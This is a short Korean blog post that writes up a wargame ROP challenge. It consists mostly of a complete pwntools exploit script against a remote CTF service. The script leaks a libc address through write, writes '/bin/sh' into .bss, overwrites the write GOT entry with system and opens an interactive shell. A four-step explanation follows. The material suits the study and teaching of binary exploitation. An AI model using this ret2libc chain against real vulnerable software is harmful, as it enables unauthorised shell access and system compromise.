본문 바로가기

ROP 본문

보안/워게임

ROP

Seongjun_You 2021. 12. 13. 21:41

ROP는 이제 많이 해서 익숙하다.

우리가 사용할수있는 함수는 write와 read함수이다.

 

gadget들을 모았다.

 

 

from pwn import *
p = remote("ctf.j0n9hyun.xyz",3021)
#p = process("./rop")
context.log_level = "Debug"
elf = ELF("./rop")
libc = ELF("./libc.so.6")

pppr = 0x8048509

bss = elf.get_section_by_name(".bss").header.sh_addr
binsh_offset = next(libc.search("/bin/sh\x00"))


payload = "A"*140
payload += p32(elf.plt['write'])
payload += p32(pppr)
payload += p32(0x1)
payload += p32(elf.got['read'])
payload += p32(0x4)

payload += p32(elf.plt['read'])
payload += p32(pppr)
payload += p32(0x0)
payload += p32(bss)
payload += p32(0x8)

payload += p32(elf.plt['read'])
payload += p32(pppr)
payload += p32(0x0)
payload += p32(elf.got['write'])
payload += p32(0x4)

payload += p32(elf.plt['write'])
payload += "A"*4
payload += p32(bss)

p.send(payload)
read = u32(p.recv(4))
base = read - libc.symbols['read']
system = base + libc.symbols['system']

p.send("/bin/sh\x00")
p.send(p32(system))

p.interactive()

1. write함수로 read의 실제주소를 leak 한다.

2. libc bsae주소로 함수들의 주소를 계산한다.

3. bss영역에 /bin/sh을 넣는다.

4. bss를 인자로 system함수를 실행한다.

 

'보안 > 워게임' 카테고리의 다른 글

Unexploitable #1  (0) 2021.12.16
You are silver  (0) 2021.12.16
UAF  (0) 2021.12.13
Pwning  (0) 2021.12.13
gift  (0) 2021.12.13
Comments